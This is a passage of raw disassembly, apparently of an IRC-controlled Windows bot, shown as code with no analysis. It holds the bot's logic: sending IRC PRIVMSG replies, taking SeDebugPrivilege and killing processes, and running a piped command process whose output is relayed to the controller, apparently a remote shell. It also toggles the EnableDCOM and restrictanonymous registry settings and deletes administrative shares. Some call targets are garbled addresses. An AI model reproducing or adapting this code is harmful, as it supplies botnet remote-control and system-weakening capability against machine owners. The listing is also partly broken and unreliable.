		test	eax, eax
		jnz	loc_419890


loc_4197DE:				; CODE XREF: sub_4196BD+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_4196BD+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987B
		cmp	[ebp+arg_4], eax
		jz	loc_419890
		push	[ebp+var_128]
		push	8
		call	dword_4CB664
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983B
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB504
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419841
		lea	eax, [ebp+var_234]
		jmp	short loc_419847
; ---------------------------------------------------------------------------


loc_41983B:				; CODE XREF: sub_4196BD+15Cj
		push	[ebp+var_128]


loc_419841:				; CODE XREF: sub_4196BD+174j
		lea	eax, [ebp+var_10C]


loc_419847:				; CODE XREF: sub_4196BD+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4197DE
; ---------------------------------------------------------------------------


loc_41987B:				; CODE XREF: sub_4196BD+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C3


loc_419890:				; CODE XREF: sub_4196BD+F5j
					; sub_4196BD+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB558
		test	eax, eax
		jnz	loc_419781
		xor	ebx, ebx


loc_4198AA:				; CODE XREF: sub_4196BD+9Dj
					; sub_4196BD+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AF:				; CODE XREF: sub_4196BD+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx


loc_4198BC:				; CODE XREF: sub_4196BD+3Aj
					; sub_4196BD+46j ...
		xor	eax, eax


loc_4198BE:				; CODE XREF: sub_4196BD+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_4196BD+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2730B86h
		test	eax, eax
		jnz	short loc_4198E7
		push	edi
		call	esi
		jmp	short loc_4198BC
; ---------------------------------------------------------------------------


loc_4198E7:				; CODE XREF: sub_4196BD+223j
		push	1
		pop	eax
		jmp	short loc_4198BE
sub_4196BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EC	proc near		; DATA XREF: sub_401ACD+26CEo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439FA0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994B
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_41994B:				; CODE XREF: sub_4198EC+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419973
		push	offset unk_439F7C
		jmp	short loc_419978
; ---------------------------------------------------------------------------


loc_419973:				; CODE XREF: sub_4198EC+7Ej
		push	offset unk_439F58


loc_419978:				; CODE XREF: sub_4198EC+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AB
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_4199AB:				; CODE XREF: sub_4198EC+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AD
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2700B29h
		pop	edi
		pop	esi
sub_4198EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199CA	proc near		; CODE XREF: sub_401ACD+78B4p
					; sub_40B232+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26A0290h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FC
		push	0
		push	esi
		nop
		call	near ptr 2730B86h
		test	eax, eax
		jnz	short loc_4199FC
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26809B4h


loc_4199FC:				; CODE XREF: sub_4199CA+1Aj
					; sub_4199CA+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199CA	endp

; ---------------------------------------------------------------------------
byte_419A01	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439D9C35h
		dd 7545E800h, 0EB900227h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419A21	proc near		; CODE XREF: sub_419A51+2Ap
					; sub_419A89+7Ep ...
		mov	eax, dword_4DB8C8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A35
		push	eax
		call	esi


loc_419A35:				; CODE XREF: sub_419A21+Fj
		mov	eax, dword_4DB8D0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A42
		push	eax
		call	esi


loc_419A42:				; CODE XREF: sub_419A21+1Cj
		mov	eax, dword_4DB8C4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4F
		push	eax
		call	esi


loc_419A4F:				; CODE XREF: sub_419A21+29j
		pop	esi
		retn
sub_419A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A51	proc near		; CODE XREF: sub_401ACD+7605p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8CC
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_419A84
		call	sub_419A21
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A84:				; CODE XREF: sub_419A51+28j
		push	1
		pop	eax
		leave
		retn
sub_419A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A89	proc near		; CODE XREF: sub_419B10+D3p
					; sub_419B10+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D7F8
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACC
		push	7D0h
		nop
		call	near ptr 2690F63h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419A89+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE3:				; CODE XREF: sub_419A89+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB694
		test	eax, eax
		jg	short loc_419B0C
		call	sub_419A21


loc_419B0C:				; CODE XREF: sub_419A89+7Cj
		xor	eax, eax
		leave
		retn
sub_419A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B10	proc near		; DATA XREF: sub_419C65+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8D4


loc_419B28:				; CODE XREF: sub_419B10+79j
					; sub_419B10+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8C8
		nop
		call	near ptr 28708DCh
		test	eax, eax
		jz	loc_419BF6
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8B
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8C4
		nop
		call	near ptr 28704DDh
		test	eax, eax
		jz	short loc_419B81
		cmp	[ebp+var_8], 103h
		jnz	loc_419C1A


loc_419B81:				; CODE XREF: sub_419B10+62j
		push	0Ah
		nop
		call	near ptr 2690F63h
		jmp	short loc_419B28
; ---------------------------------------------------------------------------


loc_419B8B:				; CODE XREF: sub_419B10+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA2


loc_419B92:				; CODE XREF: sub_419B10+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BF0
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B92


loc_419BA2:				; CODE XREF: sub_419B10+80j
		mov	[ebp+var_4], esi


loc_419BA5:				; CODE XREF: sub_419B10+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8C8
		nop
		call	near ptr 2730000h
		test	eax, eax
		jz	short loc_419C42
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB908
		call	sub_419A89
		add	esp, 0Ch
		jmp	loc_419B28
; ---------------------------------------------------------------------------


loc_419BF0:				; CODE XREF: sub_419B10+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BF6:				; CODE XREF: sub_419B10+45j
		push	offset unk_43A028
		push	ebx
		push	dword_4DB908
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	1
		call	near ptr 2700B29h
		nop


loc_419C1A:				; CODE XREF: sub_419B10+6Bj
		call	sub_419A21
		push	offset unk_43A000
		push	ebx
		push	dword_4DB908
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		call	near ptr 2700B29h
		nop


loc_419C42:				; CODE XREF: sub_419B10+C3j
		push	offset unk_439FD0
		push	ebx
		push	dword_4DB908
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2700B29h
sub_419B10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C65	proc near		; CODE XREF: sub_401ACD+2508p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A21
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433BF4
		push	esi
		call	dword_4CB700
		test	eax, eax
		jz	loc_419D5F
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5F
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5F
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8CC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_419D5F
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D7F8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 2680CABh
		nop
		test	eax, eax
		jnz	short loc_419D67


loc_419D5F:				; CODE XREF: sub_419C65+2Fj
					; sub_419C65+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E15
; ---------------------------------------------------------------------------


loc_419D67:				; CODE XREF: sub_419C65+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8C8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8D0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8C4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB908, eax
		jz	short loc_419DA1
		push	[ebp+arg_4]
		jmp	short loc_419DA2
; ---------------------------------------------------------------------------


loc_419DA1:				; CODE XREF: sub_419C65+135j
		push	ebx


loc_419DA2:				; CODE XREF: sub_419C65+13Aj
		push	offset dword_4DB8D4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A08C
		call	sub_40B0F7
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E588[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B10
		push	esi
		push	esi
		call	near ptr 26A0000h
		nop
		cmp	eax, esi
		mov	dword_43E594[edi], eax
		jnz	short loc_419E13
		call	near ptr 26A08B1h
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A058
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_419E13:				; CODE XREF: sub_419C65+185j
		xor	eax, eax


loc_419E15:				; CODE XREF: sub_419C65+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E1A	proc near		; DATA XREF: sub_401ACD+2E0Co

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E61
		call	sub_419E7A
		jmp	short loc_419E66
; ---------------------------------------------------------------------------


loc_419E61:				; CODE XREF: sub_419E1A+3Ej
		call	sub_41A19E


loc_419E66:				; CODE XREF: sub_419E1A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 2700B29h
sub_419E1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E7A	proc near		; CODE XREF: sub_419E1A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB714, edi
		jnz	loc_419FAC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6B4
		test	eax, eax
		jnz	short loc_419F05
		mov	ax, word_438E08
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB668
		test	eax, eax
		jz	short loc_419EE7
		push	offset dword_43A328
		jmp	short loc_419EEC
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E7A+64j
		push	offset dword_43A308


loc_419EEC:				; CODE XREF: sub_419E7A+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB620
		jmp	short loc_419F18
; ---------------------------------------------------------------------------


loc_419F05:				; CODE XREF: sub_419E7A+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F18:				; CODE XREF: sub_419E7A+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F37
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419F37:				; CODE XREF: sub_419E7A+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6B4
		test	eax, eax
		jnz	short loc_419FA5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB668
		test	eax, eax
		jz	short loc_419F87
		push	offset dword_43A288
		jmp	short loc_419F8C
; ---------------------------------------------------------------------------


loc_419F87:				; CODE XREF: sub_419E7A+104j
		push	offset dword_43A254


loc_419F8C:				; CODE XREF: sub_419E7A+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB620
		jmp	short loc_419FBF
; ---------------------------------------------------------------------------


loc_419FA5:				; CODE XREF: sub_419E7A+E2j
		push	offset dword_43A218
		jmp	short loc_419FB1
; ---------------------------------------------------------------------------


loc_419FAC:				; CODE XREF: sub_419E7A+13j
		push	offset dword_43A1E8


loc_419FB1:				; CODE XREF: sub_419E7A+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBF:				; CODE XREF: sub_419E7A+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDE
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419FDE:				; CODE XREF: sub_419E7A+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB73C, edi
		pop	ecx
		jnz	loc_41A159
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A001:				; CODE XREF: sub_419E7A+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB588
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09E
		cmp	eax, 0EAh
		jz	short loc_41A09E
		mov	esi, offset off_43A0B0


loc_41A032:				; CODE XREF: sub_419E7A+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6C
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A049
		push	offset dword_43A1C4
		jmp	short loc_41A04E
; ---------------------------------------------------------------------------


loc_41A049:				; CODE XREF: sub_419E7A+1C6j
		push	offset dword_43A198


loc_41A04E:				; CODE XREF: sub_419E7A+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A081
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A081:				; CODE XREF: sub_419E7A+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0D0
		jb	short loc_41A032
		jmp	loc_41A136
; ---------------------------------------------------------------------------


loc_41A09E:				; CODE XREF: sub_419E7A+1AAj
					; sub_419E7A+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12D


loc_41A0AD:				; CODE XREF: sub_419E7A+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A122
		push	edi
		call	sub_418B59
		push	eax
		push	0
		call	sub_418C6C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DC
		push	offset dword_43A174
		jmp	short loc_41A0E1
; ---------------------------------------------------------------------------


loc_41A0DC:				; CODE XREF: sub_419E7A+259j
		push	offset dword_43A148


loc_41A0E1:				; CODE XREF: sub_419E7A+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A115
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A115:				; CODE XREF: sub_419E7A+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A122:				; CODE XREF: sub_419E7A+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AD
		xor	edi, edi


loc_41A12D:				; CODE XREF: sub_419E7A+22Dj
		push	[ebp+var_8]
		call	dword_4CB6D4


loc_41A136:				; CODE XREF: sub_419E7A+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A001
		lea	eax, [ebp+var_214]
		push	offset dword_43A120
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16C
; ---------------------------------------------------------------------------


loc_41A159:				; CODE XREF: sub_419E7A+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A0F0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16C:				; CODE XREF: sub_419E7A+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A18A
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A18A:				; CODE XREF: sub_419E7A+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19E	proc near		; CODE XREF: sub_419E1A:loc_419E61p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB714, ebx
		push	esi
		jnz	loc_41A2CC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6B4
		test	eax, eax
		jnz	short loc_41A229
		mov	ax, word_438E4C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB668
		test	eax, eax
		jz	short loc_41A20B
		push	offset dword_43A4A0
		jmp	short loc_41A210
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_41A19E+64j
		push	offset dword_43A484


loc_41A210:				; CODE XREF: sub_41A19E+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB620
		jmp	short loc_41A23C
; ---------------------------------------------------------------------------


loc_41A229:				; CODE XREF: sub_41A19E+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23C:				; CODE XREF: sub_41A19E+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A25B:				; CODE XREF: sub_41A19E+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6B4
		test	eax, eax
		jnz	short loc_41A2C5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB668
		test	eax, eax
		jz	short loc_41A2A7
		push	offset dword_43A444
		jmp	short loc_41A2AC
; ---------------------------------------------------------------------------


loc_41A2A7:				; CODE XREF: sub_41A19E+100j
		push	offset dword_43A40C


loc_41A2AC:				; CODE XREF: sub_41A19E+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB620
		jmp	short loc_41A2DF
; ---------------------------------------------------------------------------


loc_41A2C5:				; CODE XREF: sub_41A19E+E2j
		push	offset dword_43A3D0
		jmp	short loc_41A2D1
; ---------------------------------------------------------------------------


loc_41A2CC:				; CODE XREF: sub_41A19E+13j
